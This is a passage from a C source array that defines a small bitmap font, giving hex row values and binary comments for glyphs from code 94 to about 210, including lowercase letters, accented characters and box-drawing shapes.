/* 00100 */ 0x60, /* 01100 */ 0x00, /* 00000 */ /* * code=94, hex=0x5E, ascii="^" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x20, /* 00100 */ 0x50, /* 01010 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ /* * code=95, hex=0x5F, ascii="_" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0xF8, /* 11111 */ /* * code=96, hex=0x60, ascii="`" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x40, /* 01000 */ 0x20, /* 00100 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ /* * code=97, hex=0x61, ascii="a" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x60, /* 01100 */ 0x10, /* 00010 */ 0x70, /* 01110 */ 0x50, /* 01010 */ 0x00, /* 00000 */ /* * code=98, hex=0x62, ascii="b" */ 0x00, /* 00000 */ 0x80, /* 10000 */ 0x80, /* 10000 */ 0xE0, /* 11100 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0xE0, /* 11100 */ 0x00, /* 00000 */ /* * code=99, hex=0x63, ascii="c" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x30, /* 00110 */ 0x40, /* 01000 */ 0x40, /* 01000 */ 0x30, /* 00110 */ 0x00, /* 00000 */ /* * code=100, hex=0x64, ascii="d" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x10, /* 00010 */ 0x70, /* 01110 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0x70, /* 01110 */ 0x00, /* 00000 */ /* * code=101, hex=0x65, ascii="e" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x60, /* 01100 */ 0xF0, /* 11110 */ 0x80, /* 10000 */ 0x70, /* 01110 */ 0x00, /* 00000 */ /* * code=102, hex=0x66, ascii="f" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x30, /* 00110 */ 0x40, /* 01000 */ 0xE0, /* 11100 */ 0x40, /* 01000 */ 0x40, /* 01000 */ 0x00, /* 00000 */ /* * code=103, hex=0x67, ascii="g" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x70, /* 01110 */ 0x90, /* 10010 */ 0x70, /* 01110 */ 0x10, /* 00010 */ 0x60, /* 01100 */ /* * code=104, hex=0x68, ascii="h" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x80, /* 10000 */ 0xE0, /* 11100 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0x00, /* 00000 */ /* * code=105, hex=0x69, ascii="i" */ 0x00, /* 00000 */ 0x20, /* 00100 */ 0x00, /* 00000 */ 0x60, /* 01100 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x70, /* 01110 */ 0x00, /* 00000 */ /* * code=106, hex=0x6A, ascii="j" */ 0x00, /* 00000 */ 0x10, /* 00010 */ 0x00, /* 00000 */ 0x10, /* 00010 */ 0x10, /* 00010 */ 0x10, /* 00010 */ 0x10, /* 00010 */ 0x60, /* 01100 */ /* * code=107, hex=0x6B, ascii="k" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x80, /* 10000 */ 0xA0, /* 10100 */ 0xC0, /* 11000 */ 0xA0, /* 10100 */ 0x90, /* 10010 */ 0x00, /* 00000 */ /* * code=108, hex=0x6C, ascii="l" */ 0x00, /* 00000 */ 0x60, /* 01100 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x70, /* 01110 */ 0x00, /* 00000 */ /* * code=109, hex=0x6D, ascii="m" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x90, /* 10010 */ 0xF0, /* 11110 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0x00, /* 00000 */ /* * code=110, hex=0x6E, ascii="n" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0xE0, /* 11100 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0x00, /* 00000 */ /* * code=111, hex=0x6F, ascii="o" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x60, /* 01100 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0x60, /* 01100 */ 0x00, /* 00000 */ /* * code=112, hex=0x70, ascii="p" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0xE0, /* 11100 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0xE0, /* 11100 */ 0x80, /* 10000 */ /* * code=113, hex=0x71, ascii="q" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x70, /* 01110 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0x70, /* 01110 */ 0x10, /* 00010 */ /* * code=114, hex=0x72, ascii="r" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x50, /* 01010 */ 0x60, /* 01100 */ 0x40, /* 01000 */ 0x40, /* 01000 */ 0x00, /* 00000 */ /* * code=115, hex=0x73, ascii="s" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x70, /* 01110 */ 0xC0, /* 11000 */ 0x30, /* 00110 */ 0xE0, /* 11100 */ 0x00, /* 00000 */ /* * code=116, hex=0x74, ascii="t" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x40, /* 01000 */ 0xF0, /* 11110 */ 0x40, /* 01000 */ 0x40, /* 01000 */ 0x30, /* 00110 */ 0x00, /* 00000 */ /* * code=117, hex=0x75, ascii="u" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0x70, /* 01110 */ 0x00, /* 00000 */ /* * code=118, hex=0x76, ascii="v" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0x60, /* 01100 */ 0x60, /* 01100 */ 0x00, /* 00000 */ /* * code=119, hex=0x77, ascii="w" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0xF0, /* 11110 */ 0x90, /* 10010 */ 0x00, /* 00000 */ /* * code=120, hex=0x78, ascii="x" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x90, /* 10010 */ 0x60, /* 01100 */ 0x60, /* 01100 */ 0x90, /* 10010 */ 0x00, /* 00000 */ /* * code=121, hex=0x79, ascii="y" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0x70, /* 01110 */ 0x10, /* 00010 */ 0x60, /* 01100 */ /* * code=122, hex=0x7A, ascii="z" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0xF0, /* 11110 */ 0x20, /* 00100 */ 0x40, /* 01000 */ 0xF0, /* 11110 */ 0x00, /* 00000 */ /* * code=123, hex=0x7B, ascii="{" */ 0x00, /* 00000 */ 0x10, /* 00010 */ 0x20, /* 00100 */ 0x40, /* 01000 */ 0x40, /* 01000 */ 0x20, /* 00100 */ 0x10, /* 00010 */ 0x00, /* 00000 */ /* * code=124, hex=0x7C, ascii="|" */ 0x00, /* 00000 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x00, /* 00000 */ /* * code=125, hex=0x7D, ascii="}" */ 0x00, /* 00000 */ 0x40, /* 01000 */ 0x20, /* 00100 */ 0x10, /* 00010 */ 0x10, /* 00010 */ 0x20, /* 00100 */ 0x40, /* 01000 */ 0x00, /* 00000 */ /* * code=126, hex=0x7E, ascii="~" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x50, /* 01010 */ 0xA0, /* 10100 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ /* * code=127, hex=0x7F, ascii="^?" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x20, /* 00100 */ 0x50, /* 01010 */ 0x88, /* 10001 */ 0xF8, /* 11111 */ 0x00, /* 00000 */ /* * code=128, hex=0x80, ascii="!^@" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x70, /* 01110 */ 0x80, /* 10000 */ 0x80, /* 10000 */ 0x80, /* 10000 */ 0x70, /* 01110 */ 0x20, /* 00100 */ /* * code=129, hex=0x81, ascii="!^A" */ 0x00, /* 00000 */ 0x50, /* 01010 */ 0x00, /* 00000 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0x70, /* 01110 */ 0x00, /* 00000 */ /* * code=130, hex=0x82, ascii="!^B" */ 0x10, /* 00010 */ 0x20, /* 00100 */ 0x00, /* 00000 */ 0x60, /* 01100 */ 0xF0, /* 11110 */ 0x80, /* 10000 */ 0x70, /* 01110 */ 0x00, /* 00000 */ /* * code=131, hex=0x83, ascii="!^C" */ 0x20, /* 00100 */ 0x50, /* 01010 */ 0x00, /* 00000 */ 0xC0, /* 11000 */ 0x20, /* 00100 */ 0xA0, /* 10100 */ 0x50, /* 01010 */ 0x00, /* 00000 */ /* * code=132, hex=0x84, ascii="!^D" */ 0x00, /* 00000 */ 0x50, /* 01010 */ 0x00, /* 00000 */ 0xC0, /* 11000 */ 0x20, /* 00100 */ 0x60, /* 01100 */ 0xB0, /* 10110 */ 0x00, /* 00000 */ /* * code=133, hex=0x85, ascii="!^E" */ 0x40, /* 01000 */ 0x20, /* 00100 */ 0x00, /* 00000 */ 0xC0, /* 11000 */ 0x20, /* 00100 */ 0x60, /* 01100 */ 0xB0, /* 10110 */ 0x00, /* 00000 */ /* * code=134, hex=0x86, ascii="!^F" */ 0x00, /* 00000 */ 0x20, /* 00100 */ 0x00, /* 00000 */ 0xC0, /* 11000 */ 0x20, /* 00100 */ 0x60, /* 01100 */ 0xB0, /* 10110 */ 0x00, /* 00000 */ /* * code=135, hex=0x87, ascii="!^G" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x30, /* 00110 */ 0x40, /* 01000 */ 0x40, /* 01000 */ 0x30, /* 00110 */ 0x20, /* 00100 */ /* * code=136, hex=0x88, ascii="!^H" */ 0x20, /* 00100 */ 0x50, /* 01010 */ 0x00, /* 00000 */ 0x60, /* 01100 */ 0xF0, /* 11110 */ 0x80, /* 10000 */ 0x70, /* 01110 */ 0x00, /* 00000 */ /* * code=137, hex=0x89, ascii="!^I" */ 0x00, /* 00000 */ 0x50, /* 01010 */ 0x00, /* 00000 */ 0x60, /* 01100 */ 0xF0, /* 11110 */ 0x80, /* 10000 */ 0x70, /* 01110 */ 0x00, /* 00000 */ /* * code=138, hex=0x8A, ascii="!^J" */ 0x40, /* 01000 */ 0x20, /* 00100 */ 0x00, /* 00000 */ 0x60, /* 01100 */ 0xF0, /* 11110 */ 0x80, /* 10000 */ 0x70, /* 01110 */ 0x00, /* 00000 */ /* * code=139, hex=0x8B, ascii="!^K" */ 0x00, /* 00000 */ 0x50, /* 01010 */ 0x00, /* 00000 */ 0x60, /* 01100 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x70, /* 01110 */ 0x00, /* 00000 */ /* * code=140, hex=0x8C, ascii="!^L" */ 0x20, /* 00100 */ 0x50, /* 01010 */ 0x00, /* 00000 */ 0x60, /* 01100 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x70, /* 01110 */ 0x00, /* 00000 */ /* * code=141, hex=0x8D, ascii="!^M" */ 0x40, /* 01000 */ 0x20, /* 00100 */ 0x00, /* 00000 */ 0x60, /* 01100 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x70, /* 01110 */ 0x00, /* 00000 */ /* * code=142, hex=0x8E, ascii="!^N" */ 0xA0, /* 10100 */ 0x00, /* 00000 */ 0x60, /* 01100 */ 0x90, /* 10010 */ 0xF0, /* 11110 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0x00, /* 00000 */ /* * code=143, hex=0x8F, ascii="!^O" */ 0x20, /* 00100 */ 0x00, /* 00000 */ 0x60, /* 01100 */ 0x90, /* 10010 */ 0xF0, /* 11110 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0x00, /* 00000 */ /* * code=144, hex=0x90, ascii="!^P" */ 0x10, /* 00010 */ 0x20, /* 00100 */ 0xF0, /* 11110 */ 0x80, /* 10000 */ 0xE0, /* 11100 */ 0x80, /* 10000 */ 0xF0, /* 11110 */ 0x00, /* 00000 */ /* * code=145, hex=0x91, ascii="!^Q" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0xD8, /* 11011 */ 0x78, /* 01111 */ 0xE0, /* 11100 */ 0xB8, /* 10111 */ 0x00, /* 00000 */ /* * code=146, hex=0x92, ascii="!^R" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x70, /* 01110 */ 0xA0, /* 10100 */ 0xF0, /* 11110 */ 0xA0, /* 10100 */ 0xB0, /* 10110 */ 0x00, /* 00000 */ /* * code=147, hex=0x93, ascii="!^S" */ 0x20, /* 00100 */ 0x50, /* 01010 */ 0x00, /* 00000 */ 0x60, /* 01100 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0x60, /* 01100 */ 0x00, /* 00000 */ /* * code=148, hex=0x94, ascii="!^T" */ 0x00, /* 00000 */ 0x50, /* 01010 */ 0x00, /* 00000 */ 0x60, /* 01100 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0x60, /* 01100 */ 0x00, /* 00000 */ /* * code=149, hex=0x95, ascii="!^U" */ 0x40, /* 01000 */ 0x20, /* 00100 */ 0x00, /* 00000 */ 0x60, /* 01100 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0x60, /* 01100 */ 0x00, /* 00000 */ /* * code=150, hex=0x96, ascii="!^V" */ 0x20, /* 00100 */ 0x50, /* 01010 */ 0x00, /* 00000 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0x70, /* 01110 */ 0x00, /* 00000 */ /* * code=151, hex=0x97, ascii="!^W" */ 0x40, /* 01000 */ 0x20, /* 00100 */ 0x00, /* 00000 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0x70, /* 01110 */ 0x00, /* 00000 */ /* * code=152, hex=0x98, ascii="!^X" */ 0x00, /* 00000 */ 0x50, /* 01010 */ 0x00, /* 00000 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0x70, /* 01110 */ 0x10, /* 00010 */ 0x60, /* 01100 */ /* * code=153, hex=0x99, ascii="!^Y" */ 0x00, /* 00000 */ 0x50, /* 01010 */ 0x00, /* 00000 */ 0x60, /* 01100 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0x60, /* 01100 */ 0x00, /* 00000 */ /* * code=154, hex=0x9A, ascii="!^Z" */ 0x50, /* 01010 */ 0x00, /* 00000 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0x60, /* 01100 */ 0x00, /* 00000 */ /* * code=155, hex=0x9B, ascii="!^[" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x20, /* 00100 */ 0x70, /* 01110 */ 0x80, /* 10000 */ 0x80, /* 10000 */ 0x70, /* 01110 */ 0x20, /* 00100 */ /* * code=156, hex=0x9C, ascii="!^\" */ 0x00, /* 00000 */ 0x30, /* 00110 */ 0x50, /* 01010 */ 0x40, /* 01000 */ 0xE0, /* 11100 */ 0x40, /* 01000 */ 0xF0, /* 11110 */ 0x00, /* 00000 */ /* * code=157, hex=0x9D, ascii="!^]" */ 0x00, /* 00000 */ 0xD8, /* 11011 */ 0x50, /* 01010 */ 0x50, /* 01010 */ 0x20, /* 00100 */ 0x70, /* 01110 */ 0x20, /* 00100 */ 0x00, /* 00000 */ /* * code=158, hex=0x9E, ascii="!^^" */ 0x00, /* 00000 */ 0xC0, /* 11000 */ 0xA0, /* 10100 */ 0xB0, /* 10110 */ 0xF8, /* 11111 */ 0x90, /* 10010 */ 0x88, /* 10001 */ 0x00, /* 00000 */ /* * code=159, hex=0x9F, ascii="!^_" */ 0x00, /* 00000 */ 0x30, /* 00110 */ 0x40, /* 01000 */ 0x40, /* 01000 */ 0xF0, /* 11110 */ 0x40, /* 01000 */ 0x40, /* 01000 */ 0x80, /* 10000 */ /* * code=160, hex=0xA0, ascii="! " */ 0x20, /* 00100 */ 0x40, /* 01000 */ 0x00, /* 00000 */ 0xC0, /* 11000 */ 0x20, /* 00100 */ 0x60, /* 01100 */ 0xB0, /* 10110 */ 0x00, /* 00000 */ /* * code=161, hex=0xA1, ascii="!!" */ 0x10, /* 00010 */ 0x20, /* 00100 */ 0x00, /* 00000 */ 0x60, /* 01100 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x70, /* 01110 */ 0x00, /* 00000 */ /* * code=162, hex=0xA2, ascii="!"" */ 0x10, /* 00010 */ 0x20, /* 00100 */ 0x00, /* 00000 */ 0x60, /* 01100 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0x60, /* 01100 */ 0x00, /* 00000 */ /* * code=163, hex=0xA3, ascii="!#" */ 0x10, /* 00010 */ 0x20, /* 00100 */ 0x00, /* 00000 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0x70, /* 01110 */ 0x00, /* 00000 */ /* * code=164, hex=0xA4, ascii="!$" */ 0x50, /* 01010 */ 0xA0, /* 10100 */ 0x00, /* 00000 */ 0xE0, /* 11100 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0x00, /* 00000 */ /* * code=165, hex=0xA5, ascii="!%" */ 0x50, /* 01010 */ 0xA0, /* 10100 */ 0x90, /* 10010 */ 0xD0, /* 11010 */ 0xD0, /* 11010 */ 0xB0, /* 10110 */ 0x90, /* 10010 */ 0x00, /* 00000 */ /* * code=166, hex=0xA6, ascii="!&" */ 0x00, /* 00000 */ 0x20, /* 00100 */ 0x50, /* 01010 */ 0x30, /* 00110 */ 0x00, /* 00000 */ 0x70, /* 01110 */ 0x00, /* 00000 */ 0x00, /* 00000 */ /* * code=167, hex=0xA7, ascii="!'" */ 0x00, /* 00000 */ 0x20, /* 00100 */ 0x50, /* 01010 */ 0x20, /* 00100 */ 0x00, /* 00000 */ 0x70, /* 01110 */ 0x00, /* 00000 */ 0x00, /* 00000 */ /* * code=168, hex=0xA8, ascii="!(" */ 0x00, /* 00000 */ 0x20, /* 00100 */ 0x00, /* 00000 */ 0x20, /* 00100 */ 0x40, /* 01000 */ 0x90, /* 10010 */ 0x60, /* 01100 */ 0x00, /* 00000 */ /* * code=169, hex=0xA9, ascii="!)" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0xF8, /* 11111 */ 0x80, /* 10000 */ 0x00, /* 00000 */ /* * code=170, hex=0xAA, ascii="!*" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0xF8, /* 11111 */ 0x08, /* 00001 */ 0x00, /* 00000 */ /* * code=171, hex=0xAB, ascii="!+" */ 0x00, /* 00000 */ 0x80, /* 10000 */ 0x90, /* 10010 */ 0xA0, /* 10100 */ 0x58, /* 01011 */ 0x88, /* 10001 */ 0x38, /* 00111 */ 0x00, /* 00000 */ /* * code=172, hex=0xAC, ascii="!," */ 0x00, /* 00000 */ 0x88, /* 10001 */ 0x90, /* 10010 */ 0xA0, /* 10100 */ 0x48, /* 01001 */ 0x98, /* 10011 */ 0x38, /* 00111 */ 0x08, /* 00001 */ /* * code=173, hex=0xAD, ascii="!-" */ 0x00, /* 00000 */ 0x20, /* 00100 */ 0x00, /* 00000 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x70, /* 01110 */ 0x20, /* 00100 */ 0x00, /* 00000 */ /* * code=174, hex=0xAE, ascii="!." */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x50, /* 01010 */ 0xA0, /* 10100 */ 0x50, /* 01010 */ 0x00, /* 00000 */ /* * code=175, hex=0xAF, ascii="!/" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0xA0, /* 10100 */ 0x50, /* 01010 */ 0xA0, /* 10100 */ 0x00, /* 00000 */ /* * code=176, hex=0xB0, ascii="!0" */ 0xA8, /* 10101 */ 0x50, /* 01010 */ 0xA8, /* 10101 */ 0x50, /* 01010 */ 0xA8, /* 10101 */ 0x50, /* 01010 */ 0xA8, /* 10101 */ 0x50, /* 01010 */ /* * code=177, hex=0xB1, ascii="!1" */ 0xE8, /* 11101 */ 0x50, /* 01010 */ 0xB8, /* 10111 */ 0x50, /* 01010 */ 0xE8, /* 11101 */ 0x50, /* 01010 */ 0xB8, /* 10111 */ 0x50, /* 01010 */ /* * code=178, hex=0xB2, ascii="!2" */ 0xD8, /* 11011 */ 0x70, /* 01110 */ 0xD8, /* 11011 */ 0x70, /* 01110 */ 0xD8, /* 11011 */ 0x70, /* 01110 */ 0xD8, /* 11011 */ 0x70, /* 01110 */ /* * code=179, hex=0xB3, ascii="!3" */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x20, /* 00100 */ /* * code=180, hex=0xB4, ascii="!4" */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0xE0, /* 11100 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x20, /* 00100 */ /* * code=181, hex=0xB5, ascii="!5" */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0xE0, /* 11100 */ 0x20, /* 00100 */ 0xE0, /* 11100 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x20, /* 00100 */ /* * code=182, hex=0xB6, ascii="!6" */ 0x50, /* 01010 */ 0x50, /* 01010 */ 0x50, /* 01010 */ 0xD0, /* 11010 */ 0x50, /* 01010 */ 0x50, /* 01010 */ 0x50, /* 01010 */ 0x50, /* 01010 */ /* * code=183, hex=0xB7, ascii="!7" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0xF0, /* 11110 */ 0x50, /* 01010 */ 0x50, /* 01010 */ 0x50, /* 01010 */ 0x50, /* 01010 */ /* * code=184, hex=0xB8, ascii="!8" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0xE0, /* 11100 */ 0x20, /* 00100 */ 0xE0, /* 11100 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x20, /* 00100 */ /* * code=185, hex=0xB9, ascii="!9" */ 0x50, /* 01010 */ 0x50, /* 01010 */ 0xD0, /* 11010 */ 0x10, /* 00010 */ 0xD0, /* 11010 */ 0x50, /* 01010 */ 0x50, /* 01010 */ 0x50, /* 01010 */ /* * code=186, hex=0xBA, ascii="!:" */ 0x50, /* 01010 */ 0x50, /* 01010 */ 0x50, /* 01010 */ 0x50, /* 01010 */ 0x50, /* 01010 */ 0x50, /* 01010 */ 0x50, /* 01010 */ 0x50, /* 01010 */ /* * code=187, hex=0xBB, ascii="!;" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0xF0, /* 11110 */ 0x10, /* 00010 */ 0xD0, /* 11010 */ 0x50, /* 01010 */ 0x50, /* 01010 */ 0x50, /* 01010 */ /* * code=188, hex=0xBC, ascii="!<" */ 0x50, /* 01010 */ 0x50, /* 01010 */ 0xD0, /* 11010 */ 0x10, /* 00010 */ 0xF0, /* 11110 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ /* * code=189, hex=0xBD, ascii="!=" */ 0x50, /* 01010 */ 0x50, /* 01010 */ 0x50, /* 01010 */ 0xF0, /* 11110 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ /* * code=190, hex=0xBE, ascii="!>" */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0xE0, /* 11100 */ 0x20, /* 00100 */ 0xE0, /* 11100 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ /* * code=191, hex=0xBF, ascii="!?" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0xE0, /* 11100 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x20, /* 00100 */ /* * code=192, hex=0xC0, ascii="!@" */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x38, /* 00111 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ /* * code=193, hex=0xC1, ascii="!A" */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0xF8, /* 11111 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ /* * code=194, hex=0xC2, ascii="!B" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0xF8, /* 11111 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x20, /* 00100 */ /* * code=195, hex=0xC3, ascii="!C" */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x38, /* 00111 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x20, /* 00100 */ /* * code=196, hex=0xC4, ascii="!D" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0xF8, /* 11111 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ /* * code=197, hex=0xC5, ascii="!E" */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0xF8, /* 11111 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x20, /* 00100 */ /* * code=198, hex=0xC6, ascii="!F" */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x38, /* 00111 */ 0x20, /* 00100 */ 0x38, /* 00111 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x20, /* 00100 */ /* * code=199, hex=0xC7, ascii="!G" */ 0x50, /* 01010 */ 0x50, /* 01010 */ 0x50, /* 01010 */ 0x58, /* 01011 */ 0x50, /* 01010 */ 0x50, /* 01010 */ 0x50, /* 01010 */ 0x50, /* 01010 */ /* * code=200, hex=0xC8, ascii="!H" */ 0x50, /* 01010 */ 0x50, /* 01010 */ 0x58, /* 01011 */ 0x40, /* 01000 */ 0x78, /* 01111 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ /* * code=201, hex=0xC9, ascii="!I" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x78, /* 01111 */ 0x40, /* 01000 */ 0x58, /* 01011 */ 0x50, /* 01010 */ 0x50, /* 01010 */ 0x50, /* 01010 */ /* * code=202, hex=0xCA, ascii="!J" */ 0x50, /* 01010 */ 0x50, /* 01010 */ 0xD8, /* 11011 */ 0x00, /* 00000 */ 0xF8, /* 11111 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ /* * code=203, hex=0xCB, ascii="!K" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0xF8, /* 11111 */ 0x00, /* 00000 */ 0xD8, /* 11011 */ 0x50, /* 01010 */ 0x50, /* 01010 */ 0x50, /* 01010 */ /* * code=204, hex=0xCC, ascii="!L" */ 0x50, /* 01010 */ 0x50, /* 01010 */ 0x58, /* 01011 */ 0x40, /* 01000 */ 0x58, /* 01011 */ 0x50, /* 01010 */ 0x50, /* 01010 */ 0x50, /* 01010 */ /* * code=205, hex=0xCD, ascii="!M" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0xF8, /* 11111 */ 0x00, /* 00000 */ 0xF8, /* 11111 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ /* * code=206, hex=0xCE, ascii="!N" */ 0x50, /* 01010 */ 0x50, /* 01010 */ 0xD8, /* 11011 */ 0x00, /* 00000 */ 0xD8, /* 11011 */ 0x50, /* 01010 */ 0x50, /* 01010 */ 0x50, /* 01010 */ /* * code=207, hex=0xCF, ascii="!O" */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0xF8, /* 11111 */ 0x00, /* 00000 */ 0xF8, /* 11111 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ /* * code=208, hex=0xD0, ascii="!P" */ 0x50, /* 01010 */ 0x50, /* 01010 */ 0x50, /* 01010 */ 0xF8, /* 11111 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ /* * code=209, hex=0xD1, ascii="!Q" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0xF8, /* 11111 */ 0x00, /* 00000 */ 0xF8, /* 11111 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x20, /* 00100 */ /* * code=210, hex=0xD2, ascii="!R" */ 0x00, /* 00000 */ 0x00, 